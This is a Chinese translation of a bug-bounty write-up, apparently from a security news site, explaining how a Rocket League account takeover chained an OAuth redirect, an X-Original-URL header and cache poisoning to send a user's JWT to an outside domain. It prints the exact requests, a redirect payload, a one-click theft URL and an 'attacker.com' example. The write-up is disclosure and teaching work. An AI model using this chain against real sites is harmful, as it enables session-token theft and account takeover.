《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了

lucywang 资讯 2020-04-24 09:45:00
收藏

导语:《火箭联盟》是一款由美国独立游戏工作室Psyonix开发的网络游戏。

1.jpg

《火箭联盟》是一款由美国独立游戏工作室Psyonix开发的网络游戏。该游戏一经推出即在海内外获得好评无数,玩家数屡创新高,截至目前全球玩家数超过3000万;

由于在过去的几年中,漏洞披露和漏洞赏金计划的使用已大大增加。现在,这些计划几乎可以很容易地报告日常用户的安全漏洞,并快速发布关于安全报告处理的信息。

在《火箭联盟》上寻找到的漏洞

当黑客破解游戏时,他们总是首先关注的是游戏在网络层面的接口。其次,攻击者还要擅长逆向工程和调试应用程序,这些技能在黑客破解游戏时是很有价值的技能。但如果游戏不与网站对话,则黑客也将很难破解它们。

对于黑客来说,只要遵循以下任一教程,就可以通过在Wireshark中解密SSL流量,这样就很容易检查是否通过HTTP发送了任何内容:

1. SSL解密指南:如何使用Wireshark /解密SSL

2. 使用Wireshark解密SSL / TLS流量

2.png

在Wireshark中拦截HTTP流量的一个示例

根据我的经验,我更喜欢使用Wireshark拦截来自桌面应用程序的流量,因为使用Burp Suite和系统代理并不可靠。

遗憾的是,游戏没有通过HTTP或HTTPS发送任何数据,因此我决定切换路线,并尝试找到可以在线修改/查看有关用户游戏帐户信息的任何位置。

不过,在我浏览《火箭联盟》的网站时,并没有发现网站上提供有关是否存在在线帐户管理或类似功能的任何即时信息,因此我做了一些搜索,试图找到可以进入账户的方法。

3.png

没有登录/注册,没有排行榜,与实际游戏客户端之间没有提取或共享太多信息

功夫不负有心人,我终于找到一个适用于《火箭联盟》的可用API,不过需要特殊访问权限,用于管理Twitch奖励的“奖励”登录,以及用于连接游戏中帐户和Twitch帐户的Twitch登录。Twitch是一个面向视频游戏的实时流媒体视频平台,2011年6月由Justin Kan和Emmett Shear在旧金山联合创立,是Justin.tv旗下专注于游戏相关内容的独立运营站点。

我尝试攻击的第一件事是Twitch登录,因为他们正在使用的是OAuth,整个过程将非常有趣。

4.png

通过《火箭联盟》 Twitch登录,用户可以链接其Twitch和Steam帐户

以下HTTP请求/响应将在用户登录后请求用户身份验证令牌,并使用JWT将其转发到白名单的URL中……

请求:

GET /out?type=p&platform=twitch&return_to=https://www.rocketleague.com/&user_url=&error_url= HTTP/1.1
Host: oauth2.rocketleague.com
Cookie ...

响应:

Location: https://www.rocketleague.com/?jwt=header.payload.signature

随后,他们将使用返回的令牌通过其Steam和Twitch帐户对“www.rocketleague.com”进行身份验证。

于是我试了好几个小时,但没有任何结果。一些有趣的发现是,你可以使用任意的URI处理程序,但是随着Web浏览器的发展,除了重定向和呈现“javascript”和“数据”之外,因此,没有任何简单的技巧可以在令牌之外的任何现代浏览器中窃取令牌MITMing HTTP请求。

第二个发现是你可以提供“%23”,该名称将在路径末尾转换为“#”。就像我们有一个开放的重定向一样,这很有用,例如在www上,我们可以通过在攻击者网站上使用JavaScript解析“#?jwt =”值来窃取该值。如果我们尝试使用基于HTTP参数的开放重定向来窃取此文件,则该值将不会附加为“&jwt =”,并且无法访问它。比如以下格式……

GET /?openRedirect=https://www.attacker.com/&jwt=secret

在另一个主题上,白名单很难。一些最难破解的URL过滤器只是对字符串进行检查的过滤器,例如……

URI + "://" + domain + "/"

记住千万不要进行任何的URL转换,否则就会出现意想不到的后果。

进行HTTP缓存攻击

于是我改变了方法,并在与“www.rocketleague.com”会话时开始对真正的HTTP请求正文进行混淆。我这样做的原因是因为我已经探索了“www.rocketleague.com”上的大多数可用路径,并且确实想找到一种窃取用户令牌的方法。

如果能够找到类似打开重定向的内容,则可以简单地将用户重新转发到另一个URL,然后从该URL中提取其令牌。

通常,对于静态/基本应用程序,除了HTTP参数和请求文件之外,还有一些有趣的被忽略的功能。诸如X-Forwarded-For,HTTP请求走私标头以及经过修改/可猜测的cookie之类的内容可以提供很多有趣的交互。

当我意识到该应用程序容易受到HTTP缓存攻击的影响时,我已经花了一个小时的时间。

我最初发现此错误是因为我注意到每个HTTP响应都有以下标头……

Age: 55486
X-Cache: HIT, HIT
Via: 1.1 varnish

· 时间:HTTP请求被缓存的时间(以秒为单位);

· X-Cache:当响应“HIT”时,表示“由CDN提供服务”;

· Via:当它响应“*.* varnish” 时,我们可以看出它使用了Varnish代理。

Varnish是一个高性能的代理缓存服务器,它是一个反向代理服务器,同时也是开源软件。Varnish的稳定性很高,访问速度更快,Varnish采用了“Visual Page Cache”技术,所有缓存数据都直接从内存读取。另外,Varnish可以支持更多的并发连接,因为Varnish的TCP连接释比较快,因而在高并发连接情况下可以支持更多TCP连接。Varnish可以通过管理端口,使用正则表达式批量的清除部分缓存。Varnish是通过fork形式打开多进程来做处理,所以是合理的使用所有核来处理相应的请求。

当然,Varnish也是有缺点的:

1. varnish进程一旦Hang、Crash或者重启,缓存数据都会从内存中完全释放,此时所有请求都会发送到后端服务器,在高并发情况下,会给后端服务器造成很大压力。

2. 在varnish使用中如果单个url的请求通过HA/F5(负载均衡)每次请求不同的varnish服务器中,被请求varnish服务器都会被穿透到后端,而且同样的请求会在多台服务器上缓存,也会造成varnish的缓存的资源浪费,也会造成性能下降。

你可以使用“ X-Original-URL”标头任意定义任何路由的URL映射,这可以通过发送以下请求来验证……

请求:

GET /?uniqueParameter=1 HTTP/1.1
Host: www.rocketleague.com
X-Original-URL: /this-will-return-404

响应:

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
...

我们可以确定服务器标识了“ X-Original-URL”标头,因为我们知道(1)GET /通常将返回“ 200 OK”,并且(2)GET / this-will-return-404通常将返回“404 Not Found”。

通过在URL中定义“uniqueParameter”,我们可以安全地猜测内容将不会被缓存,因为没有人在分配的缓存时间内请求该资源。也可以提供一个唯一的路径,例如/uniquePath/,我们可以确定相同的事情。

现在,只要有人在缓存过期之前,在分配的时间范围内加载“GET /?uniqueParameter=1” ,它就会尝试加载“GET /this-will-return-404”。

此功能很简洁,但是与此相关的一些直接问题则很无聊。你可以通过将某些用户重定向到不存在的资源,破坏资源并进行其他一些普通的攻击来拒绝其访问该资源。

利用HTTP缓存攻击的有趣之处在于找到一个开放的重定向或某种方式让它为你的内容提供服务,如果应用程序正在“main.js”中加载,你可以重写该代码以将其加载到你的代码中吗?

利用HTTP缓存攻击

下面,我要尝试的第一件事就是让“X-Original-URL”成为一个值,当重定向到该值时,它将带用户使用外部资源。试图做以下的事情:

X-Original-URL: https://attacker.com/

如果无法正常工作,则是因为服务器(IIS)删除了主机部分,并试图加载相同站点的资源。现在除非我开放重定向,否则它很可能无法利用。开放我重定向后,我可以滥用开放重定向来窃取JWT。

由于我没有将其作为常规路径传递(在初始GET…字段中),所以可以使用通常无法使用的控制字符吗?如果是这样,有什么办法可以形成一个有效的外部URL?

我在该IIS实例中特别注意到的一些行为是,每当你连续提供两个正斜杠时,它将仅重定向到一个正斜杠。我不确定为什么会这样,或会造成什么特别的影响,但我猜它是为了防止打开重定向通过“GET //redirectmehere”和绕过“GET //admin”。

我尝试了以下方法:

X-Original-URL: test//test\

幸运的是,它返回了以下内容:

Location: test/test\

我们可以使用反斜杠,也可以使用正常字符开始URL,最后可以使用两个斜杠相邻来触发重定向。这些都可以组合在一起,以重定向到外部资源。我将所有内容组合在一起,并发送了以下内容……

请求:

GET /?pleaseWork=1 HTTP/1.1
Host: www.rocketleague.com
X-Original-URL: https:\\samcurry.net/please//work

响应:

Location: https:\\samcurry.net/please/work

如果你还不知道这一点,那么大多数浏览器都会接受“https:\\”作为位置重定向中URL的有效序言,资源 “?pleasework=1”现在将重定向到我的域。

总结

通过滥用所有单独的问题,我们现在可以完成以下操作:

1. 将受害者重定向到我们攻击的“www.rocketleague.com”URL,以“#jwt = theirSecret”结尾;

2. 使用我们的恶意URL将用户重定向到我们的域,从而转发“jwt=theirSecret”;

3. 在URL中使用JWT登录到他们的帐户,因为它还没有被使用。

如果一个用户在过去已经通过了《火箭联盟》的认证,他们只需加载以下URL就可以让他们的账户被盗:

https://oauth2.rocketleague.com/out?type=p&platform=twitch&return_to=https://www.rocketleague.com/?hacked=1%23&user_url=&error_url=

首先他们将被重定向到:

Location: https://www.rocketleague.com/?hacked=1#&jwt=secret

然后再次被重定向到:

Location: https:\\samcurry.net/*
* the browser would append #jwt=secret since it's a client side, JavaScript accessible value

现在我可以通过使用被盗的JWT加载以下常规功能来访问用户帐户:

https://www.rocketleague.com/tpnemesis/auth-login?jwt=secret

以上说的一些概念可以应用于常见的OAuth和缓存攻击,本文所讲的只是一个可以将所有内容组合在一起的独特实例,但是独立地利用每个阈值对于针对特定资源的不同攻击是有好处的。

本文翻译自:https://samcurry.net/abusing-http-path-normalization-and-cache-poisoning-to-steal-rocket-league-accounts/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论